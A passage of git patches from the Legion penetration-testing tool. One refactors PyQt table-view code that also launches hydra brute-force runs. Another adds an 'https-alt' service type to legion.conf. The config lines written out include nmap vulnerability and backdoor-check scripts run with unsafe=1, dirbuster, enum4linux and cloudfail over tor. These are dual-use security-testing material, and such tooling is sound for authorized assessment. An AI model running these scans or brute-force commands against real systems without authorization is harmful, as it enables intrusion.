True action = menu.exec_(self.ui.ServicesTableView.viewport().mapToGlobal(pos)) @@ -972,8 +896,7 @@ def contextMenuProcessesTableView(self, pos): selectedProcesses = [] # list of tuples (pid, status, procId) for row in self.ui.ProcessesTableView.selectionModel().selectedRows(): pid = self.ProcessesTableModel.getProcessPidForRow(row.row()) - selectedProcesses.append([int(pid), self.ProcessesTableModel.getProcessStatusForRow(row.row()), - self.ProcessesTableModel.getProcessIdForRow(row.row())]) + selectedProcesses.append([int(pid), self.ProcessesTableModel.getProcessStatusForRow(row.row()), self.ProcessesTableModel.getProcessIdForRow(row.row())]) action = menu.exec_(self.ui.ProcessesTableView.viewport().mapToGlobal(pos)) @@ -1010,25 +933,25 @@ def contextMenuScreenshot(self, pos): #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### def updateHostsTableView(self): - self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.viewState.filters), hostTableHeaders) + headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] + print(str(self.controller.getHostsFromDB(self.filters))) + self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.filters), headers) self.ui.HostsTableView.setModel(self.HostsTableModel) - self.viewState.lazy_update_hosts = False # to indicate that it doesn't need to be updated anymore + self.lazy_update_hosts = False # to indicate that it doesn't need to be updated anymore - # hide some columns - for i in [0, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]: + for i in [0, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]: # hide some columns self.ui.HostsTableView.setColumnHidden(i, True) self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) self.HostsTableModel.sort(3, Qt.DescendingOrder) - ips = [] # ensure that there is always something selected + ips = [] # ensure that there is always something selected for row in range(self.HostsTableModel.rowCount("")): ips.append(self.HostsTableModel.getHostIPForRow(row)) - # the ip we previously clicked may not be visible anymore (eg: due to filters) - if self.viewState.ip_clicked in ips: - row = self.HostsTableModel.getRowForIp(self.viewState.ip_clicked) + if self.ip_clicked in ips: # the ip we previously clicked may not be visible anymore (eg: due to filters) + row = self.HostsTableModel.getRowForIp(self.ip_clicked) else: row = 0 # or select the first row @@ -1037,19 +960,18 @@ def updateHostsTableView(self): self.hostTableClick() def updateServiceNamesTableView(self): - self.ServiceNamesTableModel = ServiceNamesTableModel( - self.controller.getServiceNamesFromDB(self.viewState.filters), serviceNamesTableHeaders) + headers = ["Name"] + self.ServiceNamesTableModel = ServiceNamesTableModel(self.controller.getServiceNamesFromDB(self.filters), headers) self.ui.ServiceNamesTableView.setModel(self.ServiceNamesTableModel) - self.viewState.lazy_update_services = False # to indicate that it doesn't need to be updated anymore + self.lazy_update_services = False # to indicate that it doesn't need to be updated anymore services = [] # ensure that there is always something selected for row in range(self.ServiceNamesTableModel.rowCount("")): services.append(self.ServiceNamesTableModel.getServiceNameForRow(row)) - - # the service we previously clicked may not be visible anymore (eg: due to filters) - if self.viewState.service_clicked in services: - row = self.ServiceNamesTableModel.getRowForServiceName(self.viewState.service_clicked) + + if self.service_clicked in services: # the service we previously clicked may not be visible anymore (eg: due to filters) + row = self.ServiceNamesTableModel.getRowForServiceName(self.service_clicked) else: row = 0 # or select the first row @@ -1058,36 +980,29 @@ def updateServiceNamesTableView(self): self.serviceNamesTableClick() def setupToolsTableView(self): - self.ToolsTableModel = ProcessesTableModel(self, self.controller.getProcessesFromDB( - self.viewState.filters, showProcesses='noNmap', - sort=self.toolsTableViewSort, - ncol=self.toolsTableViewSortColumn), toolsTableHeaders) + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ToolsTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, showProcesses = 'noNmap', sort = self.toolsTableViewSort, ncol = self.toolsTableViewSortColumn), headers) self.ui.ToolsTableView.setModel(self.ToolsTableModel) def updateToolsTableView(self): - if self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) == 'Scan' and \ - self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': - self.ToolsTableModel.setDataList( - self.controller.getProcessesFromDB(self.viewState.filters, - showProcesses = 'noNmap', - sort = self.toolsTableViewSort, - ncol = self.toolsTableViewSortColumn)) + if self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) == 'Scan' and self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ToolsTableModel.setDataList(self.controller.getProcessesFromDB(self.filters, showProcesses = 'noNmap', sort = self.toolsTableViewSort, ncol = self.toolsTableViewSortColumn)) self.ui.ToolsTableView.repaint() self.ui.ToolsTableView.update() - self.viewState.lazy_update_tools = False # to indicate that it doesn't need to be updated anymore + self.lazy_update_tools = False # to indicate that it doesn't need to be updated anymore # Hides columns we don't want to see - for i in [0, 1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20]: # hide some columns + for i in [0, 1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20]: # hide some columns self.ui.ToolsTableView.setColumnHidden(i, True) tools = [] # ensure that there is always something selected for row in range(self.ToolsTableModel.rowCount("")): tools.append(self.ToolsTableModel.getToolNameForRow(row)) - # the tool we previously clicked may not be visible anymore (eg: due to filters) - if self.viewState.tool_clicked in tools: - row = self.ToolsTableModel.getRowForToolName(self.viewState.tool_clicked) + if self.tool_clicked in tools: # the tool we previously clicked may not be visible anymore (eg: due to filters) + row = self.ToolsTableModel.getRowForToolName(self.tool_clicked) else: row = 0 # or select the first row @@ -1098,11 +1013,11 @@ def updateToolsTableView(self): #################### RIGHT PANEL INTERFACE UPDATE FUNCTIONS #################### def updateServiceTableView(self, hostIP): - self.ServicesTableModel = ServicesTableModel( - self.controller.getPortsAndServicesForHostFromDB(hostIP, self.viewState.filters), serviceTableHeaders) + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] + self.ServicesTableModel = ServicesTableModel(self.controller.getPortsAndServicesForHostFromDB(hostIP, self.filters), headers) self.ui.ServicesTableView.setModel(self.ServicesTableModel) - for i in range(0, len(serviceTableHeaders)): # reset all the hidden columns + for i in range(0, len(headers)): # reset all the hidden columns self.ui.ServicesTableView.setColumnHidden(i, False) for i in [0,1,5,6,8,10,11]: # hide some columns @@ -1111,11 +1026,11 @@ def updateServiceTableView(self, hostIP): self.ServicesTableModel.sort(2, Qt.DescendingOrder) # sort by port by default (override default) def updatePortsByServiceTableView(self, serviceName): - self.PortsByServiceTableModel = ServicesTableModel( - self.controller.getHostsAndPortsForServiceFromDB(serviceName, self.viewState.filters), serviceTableHeaders) + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] + self.PortsByServiceTableModel = ServicesTableModel(self.controller.getHostsAndPortsForServiceFromDB(serviceName, self.filters), headers) self.ui.ServicesTableView.setModel(self.PortsByServiceTableModel) - for i in range(0, len(serviceTableHeaders)): # reset all the hidden columns + for i in range(0, len(headers)): # reset all the hidden columns self.ui.ServicesTableView.setColumnHidden(i, False) for i in [2,5,6,7,8,10,11]: # hide some columns @@ -1148,13 +1063,11 @@ def updateInformationView(self, hostIP): else: counterFiltered = 65535 - counterOpen - counterClosed - self.hostInfoWidget.updateFields(status=host.status, openPorts=counterOpen, closedPorts=counterClosed, - filteredPorts=counterFiltered, ipv4=host.ipv4, ipv6=host.ipv6, - macaddr=host.macaddr, osMatch=host.osMatch, osAccuracy=host.osAccuracy, - asn=host.asn, isp=host.isp) + self.hostInfoWidget.updateFields(status=host.status, openPorts=counterOpen, closedPorts=counterClosed, filteredPorts=counterFiltered, ipv4=host.ipv4, ipv6=host.ipv6, macaddr=host.macaddr, osMatch=host.osMatch, osAccuracy=host.osAccuracy, vendor=host.vendor, asn=host.asn, isp=host.isp) def updateScriptsView(self, hostIP): - self.ScriptsTableModel = ScriptsTableModel(self, self.controller.getScriptsFromDB(hostIP), scriptsTableHeaders) + headers = ["Id", "Script", "Port", "Protocol"] + self.ScriptsTableModel = ScriptsTableModel(self,self.controller.getScriptsFromDB(hostIP), headers) self.ui.ScriptsTableView.setModel(self.ScriptsTableModel) for i in [0,3]: # hide some columns @@ -1164,9 +1077,8 @@ def updateScriptsView(self, hostIP): for row in range(self.ScriptsTableModel.rowCount("")): scripts.append(self.ScriptsTableModel.getScriptDBIdForRow(row)) - # the script we previously clicked may not be visible anymore (eg: due to filters) - if self.viewState.script_clicked in scripts: - row = self.ScriptsTableModel.getRowForDBId(self.viewState.script_clicked) + if self.script_clicked in scripts: # the script we previously clicked may not be visible anymore (eg: due to filters) + row = self.ScriptsTableModel.getRowForDBId(self.script_clicked) else: row = 0 # or select the first row @@ -1179,8 +1091,9 @@ def updateScriptsView(self, hostIP): self.ui.ScriptsTableView.update() def updateCvesByHostView(self, hostIP): + headers = ["CVE Id", "CVSS Score", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", "ExploitDb URL"] cves = self.controller.getCvesFromDB(hostIP) - self.CvesTableModel = CvesTableModel(self, cves, cvesTableHeaders) + self.CvesTableModel = CvesTableModel(self, cves, headers) self.ui.CvesTableView.horizontalHeader().resizeSection(0,175) self.ui.CvesTableView.horizontalHeader().resizeSection(2,175) @@ -1198,10 +1111,10 @@ def updateScriptsOutputView(self, scriptId): # TODO: check if this hack can be improved because we are calling setDirty more than we need def updateNotesView(self, hostid): - self.viewState.lastHostIdClicked = str(hostid) + self.lastHostIdClicked = str(hostid) note = self.controller.getNoteFromDB(hostid) - saved_dirty = self.viewState.dirty # save the status so we can restore it after we update the note panel + saved_dirty = self.dirty # save the status so we can restore it after we update the note panel self.ui.NotesTextEdit.clear() # clear the text box from the previous notes if note: @@ -1211,8 +1124,8 @@ def updateNotesView(self, hostid): self.setDirty(False) def updateToolHostsTableView(self, toolname): - self.ToolHostsTableModel = ProcessesTableModel(self, self.controller.getHostsForTool(toolname), - toolHostsTableHeaders) + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ToolHostsTableModel = ProcessesTableModel(self, self.controller.getHostsForTool(toolname), headers) self.ui.ToolHostsTableView.setModel(self.ToolHostsTableModel) for i in [0, 1, 2, 3, 4, 5, 6, 9, 10, 11, 12, 13, 14, 15]: # hide some columns @@ -1220,27 +1133,27 @@ def updateToolHostsTableView(self, toolname): self.ui.ToolHostsTableView.horizontalHeader().resizeSection(7, 150) # default width for Host column - ids = [] # ensure that there is always something selected + ids = [] # ensure that there is always something selected for row in range(self.ToolHostsTableModel.rowCount("")): ids.append(self.ToolHostsTableModel.getProcessIdForRow(row)) - # the host we previously clicked may not be visible anymore (eg: due to filters) - if self.viewState.tool_host_clicked in ids: - row = self.ToolHostsTableModel.getRowForDBId(self.viewState.tool_host_clicked) + if self.tool_host_clicked in ids: # the host we previously clicked may not be visible anymore (eg: due to filters) + row = self.ToolHostsTableModel.getRowForDBId(self.tool_host_clicked) else: - row = 0 # or select the first row + row = 0 # or select the first row if not row == None and self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': self.ui.ToolHostsTableView.selectRow(row) self.toolHostsClick() + def updateRightPanel(self, hostIP): self.updateServiceTableView(hostIP) self.updateScriptsView(hostIP) self.updateCvesByHostView(hostIP) self.updateInformationView(hostIP) # populate host info tab - self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) if hostIP: self.updateNotesView(self.HostsTableModel.getHostIdForRow(self.HostsTableModel.getRowForIp(hostIP))) @@ -1254,7 +1167,7 @@ def displayToolPanel(self, display=False): self.ui.splitter_3.show() self.ui.splitter.setSizes([self.leftPanelSize, 0, size]) # reset hoststableview width - if self.viewState.tool_clicked == 'screenshooter': + if self.tool_clicked == 'screenshooter': self.displayScreenshots(True) else: self.displayScreenshots(False) @@ -1289,17 +1202,14 @@ def displayAddHostsOverlay(self, display=False): #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### def setupProcessesTableView(self): - self.ProcessesTableModel = ProcessesTableModel(self, self.controller.getProcessesFromDB( - self.viewState.filters, showProcesses=True, sort=self.processesTableViewSort, - ncol=self.processesTableViewSortColumn), processTableHeaders) + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, showProcesses = True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn), headers) self.ui.ProcessesTableView.setModel(self.ProcessesTableModel) self.ProcessesTableModel.sort(15, Qt.DescendingOrder) def updateProcessesTableView(self): - self.ProcessesTableModel.setDataList( - self.controller.getProcessesFromDB(self.viewState.filters, showProcesses = True, - sort = self.processesTableViewSort, - ncol = self.processesTableViewSortColumn)) + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ProcessesTableModel.setDataList(self.controller.getProcessesFromDB(self.filters, showProcesses = True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn)) self.ui.ProcessesTableView.repaint() self.ui.ProcessesTableView.update() @@ -1337,8 +1247,7 @@ def updateProcessesIcon(self): processIcon = './images/{processIconName}.gif'.format(processIconName=processIconName) self.runningWidget = ImagePlayer(processIcon) - self.ui.ProcessesTableView.setIndexWidget(self.ui.ProcessesTableView.model().index(row,0), - self.runningWidget) + self.ui.ProcessesTableView.setIndexWidget(self.ui.ProcessesTableView.model().index(row,0), self.runningWidget) #################### GLOBAL INTERFACE UPDATE FUNCTION #################### @@ -1348,18 +1257,18 @@ def updateInterface(self): if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Hosts': self.updateHostsTableView() - self.viewState.lazy_update_services = True - self.viewState.lazy_update_tools = True + self.lazy_update_services = True + self.lazy_update_tools = True if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Services': self.updateServiceNamesTableView() - self.viewState.lazy_update_hosts = True - self.viewState.lazy_update_tools = True + self.lazy_update_hosts = True + self.lazy_update_tools = True if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': self.updateToolsTableView() - self.viewState.lazy_update_hosts = True - self.viewState.lazy_update_services = True + self.lazy_update_hosts = True + self.lazy_update_services = True #################### TOOL TABS #################### @@ -1367,8 +1276,8 @@ def updateInterface(self): # TODO: refactor/review, especially the restoring part. we should not check if toolname=nmap everywhere in the code # ..maybe we should do it here. rethink def createNewTabForHost(self, ip, tabTitle, restoring=False, content='', filename=''): - # TODO: use regex otherwise tools with 'screenshot' in the name are screwed. - if 'screenshot' in str(tabTitle): + + if 'screenshot' in str(tabTitle): # TODO: use regex otherwise tools with 'screenshot' in the name are screwed. tempWidget = ImageViewer() tempWidget.setObjectName(str(tabTitle)) tempWidget.open(str(filename)) @@ -1384,28 +1293,26 @@ def createNewTabForHost(self, ip, tabTitle, restoring=False, content='', filenam p.setColor(QtGui.QPalette.Base, Qt.black) # black background p.setColor(QtGui.QPalette.Text, Qt.white) # white font tempTextView.setPalette(p) - # font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black - tempTextView.setStyleSheet("QMenu { color:black;}") + tempTextView.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black tempLayout = QtWidgets.QHBoxLayout(tempWidget) tempLayout.addWidget(tempTextView) if not content == '': # if there is any content to display tempTextView.appendPlainText(content) - # if restoring tabs (after opening a project) don't show the tab in the ui - if restoring == False: - self.ui.ServicesTabWidget.addTab(tempWidget, str(tabTitle)) + if restoring == False: # if restoring tabs (after opening a project) don't show the tab in the ui + tabindex = self.ui.ServicesTabWidget.addTab(tempWidget, str(tabTitle)) hosttabs = [] # fetch tab list for this host (if any) - if str(ip) in self.viewState.hostTabs: - hosttabs = self.viewState.hostTabs[str(ip)] + if str(ip) in self.hostTabs: + hosttabs = self.hostTabs[str(ip)] if 'screenshot' in str(tabTitle): hosttabs.append(tempWidget.scrollArea) # add the new tab to the list else: hosttabs.append(tempWidget) # add the new tab to the list - self.viewState.hostTabs.update({str(ip):hosttabs}) + self.hostTabs.update({str(ip):hosttabs}) return tempTextView @@ -1421,8 +1328,7 @@ def createNewConsole(self, tabTitle, content='Hello\n', filename=''): p.setColor(QtGui.QPalette.Base, Qt.black) # black background p.setColor(QtGui.QPalette.Text, Qt.white) # white font tempTextView.setPalette(p) - # font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black - tempTextView.setStyleSheet("QMenu { color:black;}") + tempTextView.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black tempLayout = QtWidgets.QHBoxLayout(tempWidget) tempLayout.addWidget(tempTextView) self.ui.PythonTabLayout.addWidget(tempWidget) @@ -1435,7 +1341,7 @@ def createNewConsole(self, tabTitle, content='Hello\n', filename=''): def closeHostToolTab(self, index): currentTabIndex = self.ui.ServicesTabWidget.currentIndex() # remember the currently selected tab - self.ui.ServicesTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked + self.ui.ServicesTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked currentWidget = self.ui.ServicesTabWidget.currentWidget() if 'screenshot' in str(self.ui.ServicesTabWidget.currentWidget().objectName()): @@ -1464,19 +1370,18 @@ def closeHostToolTab(self, index): # remove tab from host tabs list hosttabs = [] - for ip in self.viewState.hostTabs.keys(): - if self.ui.ServicesTabWidget.currentWidget() in self.viewState.hostTabs[ip]: - hosttabs = self.viewState.hostTabs[ip] + for ip in self.hostTabs.keys(): + if self.ui.ServicesTabWidget.currentWidget() in self.hostTabs[ip]: + hosttabs = self.hostTabs[ip] hosttabs.remove(self.ui.ServicesTabWidget.currentWidget()) - self.viewState.hostTabs.update({ip:hosttabs}) + self.hostTabs.update({ip:hosttabs}) break - self.controller.storeCloseTabStatusInDB(dbId) # update the closed status in the db - getting the dbid + self.controller.storeCloseTabStatusInDB(dbId) # update the closed status in the db - getting the dbid self.ui.ServicesTabWidget.removeTab(index) # remove the tab if currentTabIndex >= self.ui.ServicesTabWidget.currentIndex(): # select the initially selected tab - # all the tab indexes shift if we remove a tab index smaller than the current tab index - self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex - 1) + self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex - 1) # all the tab indexes shift if we remove a tab index smaller than the current tab index else: self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex) @@ -1489,10 +1394,8 @@ def removeToolTabs(self, position=-1): # this function restores the tool tabs based on the DB content (should be called when opening an existing project). def restoreToolTabs(self): - # false means we are fetching processes with display flag=False, which is the case for every process once - # a project is closed. - tools = self.controller.getProcessesFromDB(self.viewState.filters, showProcesses=False) - nbr = len(tools) # show a progress bar because this could take long + tools = self.controller.getProcessesFromDB(self.filters, showProcesses=False) # false means we are fetching processes with display flag=False, which is the case for every process once a project is closed. + nbr = len(tools) # show a progress bar because this could take long if nbr==0: nbr=1 progress = 100.0 / nbr @@ -1501,42 +1404,37 @@ def restoreToolTabs(self): for t in tools: if not t.tabTitle == '': if 'screenshot' in str(t.tabTitle): - imageviewer = self.createNewTabForHost( - t.hostIp, t.tabTitle, True, '', - str(self.controller.getOutputFolder())+'/screenshots/'+str(t.outputfile)) + imageviewer = self.createNewTabForHost(t.hostIp, t.tabTitle, True, '', str(self.controller.getOutputFolder())+'/screenshots/'+str(t.outputfile)) imageviewer.setObjectName(str(t.tabTitle)) imageviewer.setProperty('dbId', str(t.id)) else: - # True means we are restoring tabs. Set the widget's object name to the DB id of the process - self.createNewTabForHost(t.hostIp, t.tabTitle, True, t.output).setProperty('dbId', str(t.id)) + self.createNewTabForHost(t.hostIp, t.tabTitle, True, t.output).setProperty('dbId', str(t.id)) # True means we are restoring tabs. Set the widget's object name to the DB id of the process totalprogress += progress # update the progress bar self.tick.emit(int(totalprogress)) def restoreToolTabsForHost(self, ip): - if (self.viewState.hostTabs) and (ip in self.viewState.hostTabs): - tabs = self.viewState.hostTabs[ip] # use the ip as a key to retrieve its list of tooltabs + if (self.hostTabs) and (ip in self.hostTabs): + tabs = self.hostTabs[ip] # use the ip as a key to retrieve its list of tooltabs for tab in tabs: # do not display hydra and nmap tabs when restoring for that host if not 'hydra' in tab.objectName() and not 'nmap' in tab.objectName(): - self.ui.ServicesTabWidget.addTab(tab, tab.objectName()) + tabindex = self.ui.ServicesTabWidget.addTab(tab, tab.objectName()) - # this function restores the textview widget (now in the tools display widget) to its original tool tab - # (under the correct host) + # this function restores the textview widget (now in the tools display widget) to its original tool tab (under the correct host) def restoreToolTabWidget(self, clear=False): if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit) == self.ui.toolOutputTextView: return - for host in self.viewState.hostTabs.keys(): - hosttabs = self.viewState.hostTabs[host] + for host in self.hostTabs.keys(): + hosttabs = self.hostTabs[host] for tab in hosttabs: if not 'screenshot' in str(tab.objectName()) and not tab.findChild(QtWidgets.QPlainTextEdit): tab.layout().addWidget(self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit)) break if clear: - # remove the tool output currently in the tools display panel - if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): + if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): # remove the tool output currently in the tools display panel self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit).setParent(None) self.ui.DisplayWidgetLayout.addWidget(self.ui.toolOutputTextView) @@ -1547,15 +1445,13 @@ def createNewBruteTab(self, ip, port, service): self.ui.statusbar.showMessage('Sending to Brute: '+str(ip)+':'+str(port)+' ('+str(service)+')', msecs=1000) bWidget = BruteWidget(ip, port, service, self.controller.getSettings()) bWidget.runButton.clicked.connect(lambda: self.callHydra(bWidget)) - self.ui.BruteTabWidget.addTab(bWidget, str(self.viewState.bruteTabCount)) - self.viewState.bruteTabCount += 1 # update tab count - # show the last added tab in the brute widget - self.ui.BruteTabWidget.setCurrentIndex(self.ui.BruteTabWidget.count()-1) + self.ui.BruteTabWidget.addTab(bWidget, str(self.bruteTabCount)) + self.bruteTabCount += 1 # update tab count + self.ui.BruteTabWidget.setCurrentIndex(self.ui.BruteTabWidget.count()-1) # show the last added tab in the brute widget def closeBruteTab(self, index): - currentTabIndex = self.ui.BruteTabWidget.currentIndex() # remember the currently selected tab - # select the tab for which the cross button was clicked - self.ui.BruteTabWidget.setCurrentIndex(index) + currentTabIndex = self.ui.BruteTabWidget.currentIndex() # remember the currently selected tab + self.ui.BruteTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked if not self.ui.BruteTabWidget.currentWidget().pid == -1: # if process is running if self.ProcessesTableModel.getProcessStatusForPid(self.ui.BruteTabWidget.currentWidget().pid)=="Running": @@ -1574,8 +1470,7 @@ def closeBruteTab(self, index): self.ui.BruteTabWidget.removeTab(index) # remove the tab if currentTabIndex >= self.ui.BruteTabWidget.currentIndex(): # select the initially selected tab - # all the tab indexes shift if we remove a tab index smaller than the current tab index - self.ui.BruteTabWidget.setCurrentIndex(currentTabIndex - 1) + self.ui.BruteTabWidget.setCurrentIndex(currentTabIndex - 1) # all the tab indexes shift if we remove a tab index smaller than the current tab index else: self.ui.BruteTabWidget.setCurrentIndex(currentTabIndex) @@ -1599,28 +1494,23 @@ def callHydra(self, bWidget): return else: log.info('Adding host to scope here!!') - self.controller.addHosts(str(bWidget.ipTextinput.text()).replace(';',' '), False, False, - "unset", "unset") + self.controller.addHosts(str(bWidget.ipTextinput.text()).replace(';',' '), False, False, "unset", "unset") bWidget.validationLabel.hide() bWidget.toggleRunButton() bWidget.resetDisplay() # fixes tab bug - hydraCommand = bWidget.buildHydraCommand(self.controller.getRunningFolder(), - self.controller.getUserlistPath(), - self.controller.getPasslistPath()) + hydraCommand = bWidget.buildHydraCommand(self.controller.getRunningFolder(), self.controller.getUserlistPath(), self.controller.getPasslistPath()) bWidget.setObjectName(str("hydra"+" ("+bWidget.getPort()+"/tcp)")) - hosttabs = [] # add widget to host tabs (needed to be able to move the widget between brute/tools tabs) - if str(bWidget.ip) in self.viewState.hostTabs: - hosttabs = self.viewState.hostTabs[str(bWidget.ip)] + hosttabs = [] # add widget to host tabs (needed to be able to move the widget between brute/tools tabs) + if str(bWidget.ip) in self.hostTabs: + hosttabs = self.hostTabs[str(bWidget.ip)] hosttabs.append(bWidget) - self.viewState.hostTabs.update({str(bWidget.ip):hosttabs}) + self.hostTabs.update({str(bWidget.ip):hosttabs}) - bWidget.pid = self.controller.runCommand("hydra", bWidget.objectName(), bWidget.ip, bWidget.getPort(), - 'tcp', unicode(hydraCommand), getTimestamp(human=True), - bWidget.outputfile, bWidget.display) + bWidget.pid = self.controller.runCommand("hydra", bWidget.objectName(), bWidget.ip, bWidget.getPort(), 'tcp', unicode(hydraCommand), getTimestamp(True), bWidget.outputfile, bWidget.display) bWidget.runButton.clicked.disconnect() bWidget.runButton.clicked.connect(lambda: self.killBruteProcess(bWidget)) @@ -1642,18 +1532,16 @@ def bruteProcessFinished(self, bWidget): bWidget.pid = -1 # disassociate textview from bWidget (create new textview for bWidget) and replace it with a new host tab - self.createNewTabForHost( - str(bWidget.ip), str(bWidget.objectName()), restoring=True, - content=unicode(bWidget.display.toPlainText())).setProperty('dbId', str(bWidget.display.property('dbId'))) + self.createNewTabForHost(str(bWidget.ip), str(bWidget.objectName()), restoring=True, content=unicode(bWidget.display.toPlainText())).setProperty('dbId', str(bWidget.display.property('dbId'))) - hosttabs = [] # go through host tabs and find the correct bWidget - if str(bWidget.ip) in self.viewState.hostTabs: - hosttabs = self.viewState.hostTabs[str(bWidget.ip)] + hosttabs = [] # go through host tabs and find the correct bWidget + if str(bWidget.ip) in self.hostTabs: + hosttabs = self.hostTabs[str(bWidget.ip)] if hosttabs.count(bWidget) > 1: hosttabs.remove(bWidget) - self.viewState.hostTabs.update({str(bWidget.ip):hosttabs}) + self.hostTabs.update({str(bWidget.ip):hosttabs}) bWidget.runButton.clicked.disconnect() bWidget.runButton.clicked.connect(lambda: self.callHydra(bWidget)) From 0e69f26dc1777bcec6bd24b236e6269fda49f70d Mon Sep 17 00:00:00 2001 From: "Matthew C. Jones, CPA, CISA, OSCP, CCFE" Date: Tue, 4 Feb 2020 16:17:08 -0500 Subject: [PATCH 347/450] add https-alt service type to https related config file entries --- legion.conf | 216 ++++++++++++++++++++++++++-------------------------- 1 file changed, 108 insertions(+), 108 deletions(-) diff --git a/legion.conf b/legion.conf index a8a88e35..5047eae3 100644 --- a/legion.conf +++ b/legion.conf @@ -43,7 +43,7 @@ citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=cit citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix cloudfail=Run cloudfail, python3.7 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail -dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" +dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt,https-alt" dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger @@ -55,107 +55,107 @@ ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.n ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp -http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" -http-affiliate-id.nse=http-affiliate-id.nse, 